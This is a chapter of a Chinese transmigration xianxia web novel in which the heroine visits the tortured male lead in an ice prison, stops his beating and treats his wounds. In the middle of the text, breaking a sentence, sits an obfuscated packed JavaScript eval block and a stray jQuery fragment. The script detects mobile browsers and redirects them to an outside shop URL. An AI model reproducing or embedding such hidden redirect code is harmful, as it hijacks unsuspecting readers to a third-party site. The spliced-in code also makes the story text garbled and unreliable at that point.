戒律司——
千年玄冰的地牢深处,寒气如刀,刮的人骨缝都在生生发疼。
“寒舟师弟在哪?”苏明月一脚踹开戒律司的大门大声问道。
“放心吧明月大师姐,沈寒舟那个丧门星已经被我关押在地牢最下面的那一层。”林朗自顾自的说着,语气里带着几分毫无掩饰的得意。
此时的林朗心情颇为舒畅,正和其他同门师弟们喝着小酒,吃着小菜。
见到苏明月完全进来了,这才缓缓起身。
这林朗资质平庸,只能入青云宗做个外门弟子,自从攀附上了原主苏明月,时不时在她耳边吹吹风,竟真的让苏明月求着清玄掌门将他安排进了戒律司当了司长。
平常主要负责看押受罚的弟子,偶尔心情不好的时候,私底下便会对牢里的犯了错的弟子偷偷送点“温暖”。
那些饱受欺凌的弟子自是敢怒不敢言。
谁叫他的背后是有大师姐苏明月撑腰。
而苏明月又是清玄掌门最宠爱的徒儿!青云宗上下谁人不知,谁人不晓?
得罪他是没有好果子吃的。
在原书的剧情中,这林朗自打跟在苏明月的身边可没少欺负沈寒舟,就是个仗势欺人的狗腿子,对清玄掌门收沈寒舟为内门弟子一事耿耿于怀。
林朗处处针对沈寒舟,很多事情是苏明月没有授意的,这原主苏明月真够傻的,被人当枪使了都不知道。
“带我见他。”苏明月命令道。
这若是换作旁的来见沈寒舟,是必不可能通行的。
在林朗的带领,也是终于到了关押沈寒舟的冰牢。
只是这越来越加快的步伐,暴露了苏明月此时的心情。
苏明月深呼口气推开眼前的这扇大门,冰冷刺骨透过指尖直达心门,她猛地的打了个寒战。
沈寒舟被数道幽蓝寒光的细线穿透琵琶骨与脚踝,牢牢的束缚在中央的冰柱上,动弹不得。
之前束的整整齐齐的墨发此刻也凌乱的披散在面庞上,遮住了大半张脸,看不清表情。
发梢凝结着晶莹的冰碴儿或者未干的血痕黏在苍白憔悴的脸颊与脖颈之间。
他身上的衣袍在一道道鞭子下早已破烂不堪,伤口被寒气冻的泛出乌青,整个人耷拉着脑袋,不知死活。
很显然在这之前,林朗就已经对沈寒舟用了鞭刑。
苏明月拢了拢身上的狐裘小心的踏入牢中,没想到进去更加寒冷,即便裹着厚裘,苏明月依旧被这刺骨的寒意逼的眉头微蹙。
“大师姐放心,在这之前我已经好好照顾一番沈寒舟了。”林朗堆起谄媚的笑,望向苏明月的眼里满是讨好。
说着,他忙不迭的从腰间取出一根裹着倒刺的玄铁鞭,双手恭敬地递到苏明月面前,继续邀功道:“大师姐,用这个!先抽他几鞭解解气。”
这个沈寒舟失手伤了大师姐苏明月的事,青云宗上下谁人不知,谁也不晓?
就连清玄掌门都拿出最好的灵药日日温养着苏明月。
即便这般。
苏明月还是在床上躺了三个月有余。
这番苏明月醒来,第一件事就来关押着沈寒舟的冰牢中,明眼人都知晓这是苏明月想要教训这沈寒舟出出气的。
林朗想看热闹不嫌事大的,他巴不得这个沈寒舟就此死在这个冰牢里,这样清玄掌门的亲传弟子名额也能空出一个,他很早就想进入宗门内部了,毕竟没人会想碌碌无为的作为外门弟子一辈子。
苏明月垂眸看着那根泛着寒光的鞭子,沉默半晌,竟诡使神差的伸手接了过来,她一步步的朝着沈寒舟走去,直到停至身前。
她颤颤巍巍的伸出食指去探沈寒舟的鼻息,这个过程中,苏明月的心也是提到了嗓子眼。
“嘶——”
苏明月的疼的倒吸一口冷气,迅速的抽回了自己的手指,猩红的血顺着指尖啪嗒啪嗒的滴在地上。
手上的玄铁鞭因为痛觉脱手滑落在一旁。
沈寒舟布满血丝的眸子狠狠的盯着苏明月,苍白的唇上那抹血红格外的刺眼。
“你个畜牲,竟敢咬伤大师姐,我看你是活腻了!”林朗怒喝道。
抄起掉落在一旁的玄铁鞭,作势就要狠狠地甩沈寒舟几鞭子。
长鞭在空中划过一道凌厉的弧度,朝着沈寒舟胸膛袭去,如同一条冰冷的毒蛇。
沈寒舟的双眸里并未表现出一丝畏惧,似乎这种事对他已经见怪不怪。
就在所有人都以为鞭子落到沈寒舟身上时,苏明月一把将其抓住,鞭尾在她的手心缠了好几圈。
握着玄铁鞭的林朗被灵气震飞出去。
只听林朗惨叫一声,疼的在地上蛄蛹着,满脸不解的问道:“明月师姐,您这是?”
林朗满眼的疑惑,他只是如同往常一般替苏明月教训这沈寒舟,在那之前她都未曾有过阻拦。
这下林朗倒是有些看不明白这沈明月了。
苏明月冷冷的瞥了林朗一眼。
“我怎么做,还轮得到你来教?”
林朗目前也不清楚苏明月如今怎会变成这样,脾气更是阴沉不定,令人捉摸不透。
这沈寒舟到底有什么好的?
“小的不敢。”
林朗按捺住心里的那份嫉妒,低头回道。
“滚去领罚,若敢多言半句,你知道后果。”
林朗顾不得身上的疼痛,连滚带爬的起身,哪里还敢有半分讨好和嚣张,踉跄的逃出了冰牢。
大门被重重的关上。
偌大的冰牢里只剩苏明月和沈寒舟两人。
安静的有些吓人。
苏明月深呼一口气,缓缓转身,望向冰柱上的沈寒舟。
他依旧垂着头,凌乱的墨发下,那双眸子死死地锁定着她。
戒备、恨意,还有一丝不易察觉的探究,各种复杂的情绪交织在一块。
穿透琵琶骨与脚踝的幽蓝细线还在泛着寒光,伤口冻的乌青。
血痕和冰碴黏在苍白的肌肤上,触目惊心。
苏明月心口骤然一紧。
眼前的这位便是这本仙侠书的大男主?日后血洗青云宗,最后化神的沈寒舟?
如今却被折磨的奄奄一息,脆弱的如同薄纸一般。
苏明月缓缓抬手。
指尖掐住纤细的脖颈,只要稍稍用力,此人便会顷刻气绝。
他死了,原著里的那些事便不会再发生。
而她说不定能取而代之,成为新的主角。
最后修炼成神!
届时她也能左拥右抱,美男成群。
真是想美了。
苏明月忍不住发出反派般的笑声:“桀桀桀桀桀桀~”
笑到一半,突然想到她是不是少了点什么?
“系统你在吗?”
“该到账了!”
她看那些穿书小说里不都捆绑系统了吗?为何这么久了,她一点动静都没有?
“哈喽?不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608479|205824||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要冷暴力啊!”
任由苏明月嚎破喉咙,也无人应答。
系统:“我鸟都不鸟你!”
沈寒舟本来作好赴死的准备,看见苏明月这个自言自语模样,有些莫名其妙。
“疯了吗?”
沈寒舟记得他是一掌打在她的胸口,可没打脑袋上,怎么几日不见,疯疯癫癫的。
苏明月拉回心神,掐着沈寒舟脖颈处的手指僵住。
左思右想了一番,还是先不弄死沈寒舟。
毕竟他可是本书的主角,主角死了,万一这个世界就此崩坏,到时候她也要跟着陪葬。
苏明月解开沈寒舟身上的禁制,没有支撑,沈寒舟无力的摔在地上。
十分狼狈。
苏明月看着他身上的伤口,被灵索穿透的地方有些一个血洞,正汩汩向外渗血。
苏明月将手上的玄铁鞭随手丢到一旁,鞭子撞到冰石上,发出清脆的声响。
她蹲下身子,指尖凝聚一丝丝温和的灵力,缓缓地朝着沈寒舟的身边聚拢,苏明月伸出手想要探查他的伤势。
只是还没等她的手碰到沈寒舟,男人便猛地偏头,用尽最后的力气躲开。
喉咙里发出低沉、如同困兽般的低吼。
“滚开,别碰我!”
沈寒舟的眼里满是抗拒和厌恶。
苏明月的手僵在半空,无奈地叹了口气。
这也不怪沈寒舟,谁叫这原身的主人实在是穷凶极恶,对沈寒舟非打即骂,身边的那些后狗腿子也愈发不将他这个师弟放在眼里。
他如今对自己恨之入骨,又怎么可能乖乖地让她靠近。
苏明月收回手,不再强求。
“别乱动,我将你的血先止住。”苏明月刻意放软了语气,尽量表现的没有半分恶意。
沈寒舟不语,只是布满血丝的双眼依旧死死地盯着她,眼底的探究意味更浓。
眼前的苏明月和以前的那个骄横跋扈、令人作呕的大师姐,似乎有些不一样……
苏明月被他盯得身体有些发毛,从储物戒里取出一个瓷瓶。
打开瓶塞,一股浓郁的药香瞬间弥漫在冰冷的空气中,驱散了些许血腥气。
“这是清凝散,对内外伤都有奇效。”苏明月解释道。
沈寒舟看着她手里的瓷瓶,仔细的嗅了嗅味道,确实是清凝散不假。
他竟一时猜不透苏明月到底想要做什么,沈寒舟眸色复杂翻涌。
戒备、恨意,还有一丝茫然。
沈寒舟抿紧苍白的唇,额角冒着细密的汗,只是紧绷的身子,微微松动了分毫。
苏明月指尖动作轻柔,生怕碰疼了他。
即便如此,沈寒舟的身体微微颤抖,似乎在忍受极致的痛苦。
锁灵索穿透筋骨的痛楚本就日夜不休,丹药灵力冲撞伤处,更是牵扯着每一寸经脉。
疼得沈寒舟眼前阵阵发黑。
他死死咬着牙,喉间溢出压抑到极致的闷哼。
剧烈的痛楚如同潮水般将他淹没,眼前的光影渐渐模糊,苏明月脸庞也逐渐变得扭曲。
苏明月拨开沈寒舟脸上的湿发,用手背贴了贴他的额头。
热的发烫。
“沈寒舟!”
紧接着苏明月用手拍了拍他的脸颊,语气里透露着焦急。
这一刻,沈寒舟也分不清究竟是在现实还是梦境。
他已经忘了多久没人再向他露出这般焦急担忧的面色。